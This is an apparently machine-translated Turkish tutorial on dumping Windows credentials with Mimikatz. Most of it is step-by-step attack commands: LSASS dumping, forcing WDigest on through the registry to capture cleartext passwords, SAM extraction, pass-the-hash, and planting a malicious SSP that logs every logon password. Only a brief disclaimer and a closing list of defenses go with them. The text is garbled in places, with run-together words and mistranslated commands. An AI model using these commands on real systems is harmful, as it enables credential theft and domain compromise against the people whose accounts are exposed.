Mimikatz ile Kullanıcı Parolalarını Windows Belleğinden Boşaltma
Windows güvenliğine ayrılmış bir serinin parçası olarak yazılan bu yazımızda, Mimikatz aracını kullanarak tüm aktif Windows kullanıcılarının şifrelerini almak için oldukça basit bir yöntem öğreneceğiz.
Mimikatz.exeWindows belleğinden, parola karmalarından, Kerberos biletlerinden vb. düz metin parolaları çıkarabilir. Ayrıca mimikatz, hash geçişi, pass-the-ticket saldırıları gerçekleştirmenize veya Golden Kerberos biletleri oluşturmanıza olanak tanır. Mimikatz işlevi, Metasploit Çerçevesinde de mevcuttur.
mimikatz'ı GitHub deposundan indirebilirsiniz: https://github.com/gentilkiwi/mimikatz/releases/. mimikatz_trunk.zip arşivini C:\Tools\mimikatz klasörüne çıkarın. Bu dizinde x64 ve x86 için mimikatz'ın iki sürümü görünecektir. Windows bitliğiniz için sürümü kullanın.
Bu yazımızda size Windows Server 2016 veya Windows 10'da mimikatz kullanarak kullanıcı şifrelerini nasıl alacağınızı göstereceğiz.
Sorumluluk Reddi. Bu yazıda açıklanan bilgi ve teknolojiler yalnızca bilgilendirme amaçlı kullanılmalı ve üçüncü şahısların hesaplarına, verilerine ve sistemlerine erişim sağlamamalıdır.
Mimikatz ile LSASS'de Windows Hashed Parolalarını Hackleme
Windows Server 2016 çalıştıran bir RDS sunucusundaki Windows belleğinden (lsass.exe işlemi - Yerel Güvenlik Yetkilisi Alt Sistem Hizmeti) oturum açmış tüm kullanıcıların parola karmalarını boşaltmaya çalışalım.
Yükseltilmiş komut isteminde aşağıdaki komutları çalıştırın:
Koşmak
Mimikatz.exeyönetici olarak;
Aşağıdaki komut, geçerli hesaba işlemlerde hata ayıklama izinleri verecektir (SeDebugPrivilege):
privilege::debugAktif kullanıcı oturumlarını listele:
sekurlsa::logonPasswords fullBenim durumumda, hesabımın yanı sıra sunucuda iki kullanıcının aktif oturumları var:
novachVe
administratorNTLM karmalarını kopyalayın (ekran görüntüsünde vurgulanmıştır).
Mimikatz'ı etkileşimli olarak değil, komut modunda kullanabilirsiniz. Kullanıcı parola karmalarını otomatik olarak almak ve bir metin dosyasına dışa aktarmak için şu komutu kullanın:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txtArtık herhangi bir çevrimdışı kullanabilirsiniz (bir
hashcataracı) veya NTLM karmalarının şifresini çözmek için çevrimiçi bir hizmet. https://crackstation.net/ hizmetini kullanacağım.
Gördüğünüz gibi, hizmet bu NTLM hash'leri için hızla değerler buldu. Bunlar, kullanıcı şifrelerini açık metin olarak aldık.
Bunun birçok eşzamanlı kullanıcı ve bir kurumsal yönetici oturumu olan bir RDS ana bilgisayarı olduğunu hayal edin. Bunlar, bu sunucuda yerel yönetici ayrıcalıklarına sahipseniz, etki alanı yönetici şifresini bile alabilirsiniz.
Windows kullanıcıları için karmaşık şifreler kullanırsanız, bunların şifresini çözmek çok daha zor olacaktır. Bu nedenle, her zaman GPO aracılığıyla parola karmaşıklığını etkinleştirin ve AD etki alanındaki parolaların gücünü düzenli olarak denetleyin.
Gördüğünüz gibi, mimikatz sayesinde tüm aktif kullanıcıların NTLM hash'lerini aldık! Bu bilgisayarda istenen işlem için SeDebugPrivilege bayrağını ayarlamanıza izin veren Hata Ayıklama Modu etkinleştirildiğinden komut başarılı oldu. Bu modda, programlar sistem adına başlatılan işlemlerin belleğine düşük düzeyde erişim sağlayabilir.
Not. Haziran 2017'de birçok ülkedeki birçok büyük şirkete, kullanıcıların ve etki alanı yöneticilerinin parolalarını toplamak için yerleşik mimikatz modülünü kullanan NotPetya fidye yazılımı bulaştı.
Windows Bellek Dökümünden Kullanıcı Parolaları Nasıl Alınır?
Yukarıdaki parola karmalarını alma yöntemi, blok enjeksiyonu yapan bir virüsten koruma kuruluysa çalışmaz. Bu durumda, hedef ana bilgisayarda LSASS işleminin bir bellek dökümünü oluşturmanız, bunu bilgisayarınıza kopyalamanız ve mimikatz kullanarak parola karmalarını çıkarmanız gerekecektir.
Windows'ta bir işlemin bellek dökümünü oluşturmak oldukça kolaydır. Görev Yöneticisi'ni başlatın, lsass.exe işlemini bulun, sağ tıklayın ve Döküm Dosyası Oluştur'u seçin.
Windows, bellek dökümünü system32 klasörüne kaydedecektir.
Döküm dosyasını mimikatz kullanarak ayrıştırmanız yeterlidir (bu görevi başka bir bilgisayarda gerçekleştirebilirsiniz). Bellek dökümünü mimikatz'a yükleyin:
Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”Bir dökümden kullanıcı adlarını ve parola karmalarını alın:
# sekurlsa::logonPasswordsUzak bir bilgisayardan psexec veya WinRM aracılığıyla (yönetici ayrıcalıklarınız varsa) bir bellek dökümü alabilir ve kullanıcının şifresini bu bilgisayardan çıkarabilirsiniz.
Şunu da kullanabilirsiniz:
procdumpdökümü almak için Sysinternals'tan bir araç:
procdump -ma lsass.exe lsass.dmpPowerShell'de Out-Minidump.ps1 işlevi ile LSASS işleminin bellek dökümü alınabilir. Out-Minidump işlevini PoSh oturumuna aktarın ve LSASS işleminin bir bellek dökümünü oluşturun:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-MinidumpWindows Parolalarını Hyberfil.sys ve VM Sayfa Dosyalarından Çıkarma
Kullanıcı parolalarını bellek dökümü dosyalarından, sistem hazırda bekletme dosyalarından (hiberfil.sys) çıkarmak da mümkündür. sanal makine dosyalarının vmem'i (sanal makine disk belleği dosyaları ve bunların anlık görüntüleri).
Bunu yapmak için Windows için Hata Ayıklama Aracı'na (WinDbg), mimikatz 'ın kendisine ve .vmem dosyasını bir bellek dökümü dosyasına dönüştürmek için bir araca ihtiyacınız var (Hyper-V'de vm2dmp.exe veya VMWare vmem dosyaları için MoonSols Windows Bellek araç takımı olabilir).
Örneğin, bir VMWare sanal makinesinin vmem sayfa dosyasını döküme dönüştürmek için şu komutu kullanın:
bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmpDökümü WinDbg'ye aktarın (Dosya -> Crash Dump'ı Aç), mimikatz kitaplığı mimilib.dll'yi yükleyin:
.load mimilib.dllDökümde lsass.exe işlemini bulun:
!process 0 0 lsass.exeVe son olarak şunu yazın:
.process /r /p fffffa800e0b3b30
!mimikatzSonuç olarak, Windows kullanıcılarının bir listesini ve şifrelerinin NTLM karmalarını ve hatta açık metin şifrelerini alacaksınız.
WDigest Kullanarak Açık Metin Olarak Windows Parolalarını Çıkarma
Eski Windows sürümlerinde HTTP özeti kimlik doğrulaması için WDigest protokolünü kullanabilirsiniz. Bu protokolün ana güvenlik kusuru, kullanıcının şifresini karma yerine açık metin olarak bellekte saklamasıdır. Mimikatz, bu parolaları LSASS.EXE işleminin belleğinden çıkarmanıza olanak tanır.
WDigest protokolü, Windows 10 ve Windows Server 2016/2019 dahil olmak üzere tüm yeni Windows sürümlerinde varsayılan olarak devre dışıdır. Ama tamamen kaldırılmadı. Windows'ta yerel yönetici izinleriniz varsa, WDiget protokolünü etkinleştirebilir, kullanıcıların oturum açmasını bekleyebilir ve parolalarını çalabilirsiniz.
Windows'ta Wdigest'i etkinleştirin:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1Grup ilkesi ayarlarını yenile:
gpupdate /forceKullanıcıların mimikatz ile giriş yapmasını ve şifrelerini almasını bekleyin (kullanıcının Windows 10'da tekrar giriş yapması gerekir; Windows Server 2016'da ekran kilitlendikten sonra oturumun kilidinin açılması yeterlidir):
privilege::debug
sekurlsa::wdigestGördüğünüz gibi, wdigest bölümü kullanıcının parolasını açık metin olarak içerir:
Yerel Kullanıcı Parola Karmalarını SAM'den Çıkarma
mimikatz ile yerel Windows kullanıcılarının (yerleşik yönetici hesabı dahil) parola karmalarını SAM'den çıkarabilirsiniz:
privilege::debug
token::elevate
lsadump::samNTLM karmalarını kayıt SAM kovanından da çıkarabilirsiniz.
SYSTEM ve SAM kayıt defteri kovanlarını dosyalara aktarın:
reg save hklm\sam c:\tmp\sam.hiv reg save hklm\security c:\tmp\sec.hivArdından parola karmalarını boşaltmak için Mimikatz'ı kullanın:
privilege::debug token::elevate lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
Mimikatz Aracılığıyla Hash Geçiş Saldırıları Gerçekleştirme
Kullanıcının güçlü bir parolası varsa ve NTLM hash'inin şifresini hızlı bir şekilde çözemezseniz, Mimikatz bir hash-geçirme (hash yeniden kullanım) saldırısı gerçekleştirmek için kullanılabilir. Bu durumda, hash, hedef kullanıcı adına işlemleri çalıştırmak için kullanılabilir. Örneğin, bir kullanıcının parolasının NTLM karmasını atarsanız, aşağıdaki komut o hesap altında bir komut istemi çalıştırır:
privilege::debug
sekurlsa::pth /user:Administrator /domain:a-d /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exeAyrıca,
Invoke-TheHashuzak yolcularda komutları yürütmek üzere NTLM kimlik bilgilerini yeniden kullanmak için araç.
Windows Kimlik Bilgisi Yöneticisinden Parolaları Boşaltma
Windows'ta, parolaları Windows Kimlik Bilgisi Yöneticisi'ne kaydedebilirsiniz (bunlar uzak bilgisayarlara, web sitelerine, RDP kimlik bilgilerine erişmek için kullanılan parolalar olabilir.
TERMSRV/hostname1biçim). Mimikatz bu parolaları Kimlik Bilgisi Yöneticisinden çıkarabilir ve size gösterebilir:
privilege::debug
sekurlsa::credmanGördüğünüz gibi, kaydedilen şifre credman bölümünün altında gösteriliyor.
Windows otomatik oturum açma parolaları kayıt defterinde açık metin olarak saklanır. Kayıtlı Wi-Fi şifrelerini çıkarmak da kolaydır.
Açık Metinde Windows Oturum Açma Parolalarını Boşaltma
Windows'ta parolaları boşaltmanın başka bir ilginç yolu da mimikatz tarafından desteklenen ek bir SSP sağlayıcısı (Güvenlik Destek Sağlayıcısı) kullanmaktır.
Mimikatz kitaplık dosyası mimilib.dll'yi C:\Windows\System32\ klasörüne kopyalayın;
Ek bir SPP sağlayıcısını şu komutla kaydedin:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZHer kullanıcı Windows'ta oturum açtığında, parolası kiwissp.log dosyasına yazılacaktır. PowerShell'i kullanarak tüm parolaları görüntüleyebilirsiniz:
Get-Content C:\Windows\System32\kiwissp.log</li>
Windows'u Kimlik Bilgileri Boşaltma Saldırılarına Karşı Koruyun
Windows 8.1 ve Windows Server 2012 R2'de (ve daha yeni sürümlerde), LSASS'tan parola çalma özelliği sınırlıdır. LM karmaları ve parolalar, bu Windows sürümlerinde varsayılan olarak bellekte saklanmaz.
Aynı işlevsellik, özel bir KB2871997 güncellemesi yüklemeniz gereken Windows'un önceki sürümlerine (7/8/2008R2/2012) geri aktarılır (güncelleme, sistem güvenliğini artırmak için başka seçenekler sunar) ) ve HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest kayıt defteri anahtarında UseLogonCredential DWORD parametresini 0 olarak ayarlayın (WDigest devre dışıdır) .
Bu güncelleştirmeyi ve UseLogonCredential anahtarını yükledikten sonra parolaları bellekten çıkarmaya çalışırsanız, mimikatz'ın creds_wdigest komutunu kullanarak parolaları ve hash'leri boşaltamadığını göreceksiniz.
Yukarıda, yerel yönetici izinleriniz varsa, bu reg anahtarını savunmasız bir değere nasıl kolayca ayarlayabileceğinizi gösterdik. Bundan sonra, LSA belleğindeki şifrelere tekrar erişebilirsiniz.
Mimikatz'da, parolaları ve bunların karmalarını bellekten almak için başka seçenekler de vardır (WDigest, LM-hash, NTLM-hash, Kerberos biletlerini yakalama modülü). Bu nedenle, koruma için aşağıdaki güvenlik önlemlerinin uygulanması önerilir:
Tersine Çevrilebilir Şifreleme kullanarak şifrelerin saklanmasını önleyin (Bilgisayar Yapılandırması -> Windows Ayarları ->Güvenlik Ayarları -> Hesap İlkeleri -> Şifre Politikası bölümünde Ters çevrilebilir şifreleme kullanarak şifreyi saklayın ve değerini Devre Dışı olarak ayarlayın);
WDigest'i devre dışı bırakın: aynı kayıt defteri dalında (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest) Negotiate parametresinin değerini 0 olarak ayarlayın;
Kimlik Bilgisi Yöneticisi'nde parolaların kaydedilmesini önleyin: Bilgisayar Yapılandırması -> Windows Ayarları ->Güvenlik Ayarları ->Yerel İlkeler ->Güvenlik Seçenekleri'nde Ağ erişimi: Ağ kimlik doğrulaması için parolaların ve kimlik bilgilerinin depolanmasına izin verme'yi etkinleştirin ;
NTLM ve LM'yi devre dışı bırakın;
Etki alanı kullanıcı kimlik bilgilerinin önbelleğe alınmasını önleme (CachedLogonsCount kayıt defteri parametresi veya Grup İlkesi seçenekleri Etkileşimli oturum açma ilkesi: Önbelleğe alınacak önceki oturum açma sayısı);
Etki alanı işlev düzeyi Windows Server 2012 R2 veya daha yeniyse, yönetici hesaplarını özel Korumalı Kullanıcılar grubuna ekleyebilirsiniz. Bu durumda, bu tür kullanıcılar için NTLM karmaları oluşturulmayacaktır.
LSA işlem belleği korumasını etkinleştirin:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f(bu ayar yalnızca Microsoft imzalı işlemlerin LSASS belleğine erişmesine izin verir, bu reg anahtarını etki alanında GPO aracılığıyla dağıtabilirsiniz);
İşlemin LSA içeriğini korumak için Credential Guard'ı kullanın;
Yerel yöneticiler için bile hata ayıklama ayrıcalıkları almayı önleyin: GPO -> Windows Ayarları -> Güvenlik Ayarları -> Yerel İlkeler -> Kullanıcı Hakları Ataması -> Programlarda hata ayıklama (Ancak, LocalSystem izinleriniz varsa veya bunun gibiyse bu kolayca atlanır)
Sonuçlar. Size bazı temel güvenlik kavramlarını bir kez daha hatırlatıyoruz.
Farklı hizmetler için (özellikle üçüncü şahısların sahip olduğu RDP/RDS ana bilgisayarlarına erişim için) aynı parolaları kullanmayın;
Buluttaki sanal makinelerde depolanan parolalarınızın ve verilerinizin güvenliğini düşünün, çünkü hipervizörlere ve sanal makine dosyalarının bulunduğu depolamaya başka kimlerin eriştiğinden emin olamazsınız;
Küresel veya yerel yönetici ayrıcalıklarına sahip hesap sayısını en aza indirin;
Diğer kullanıcıların erişebildiği sunucularda ve bilgisayarlarda asla etki alanı yönetici hesabı altında oturum açmayın.















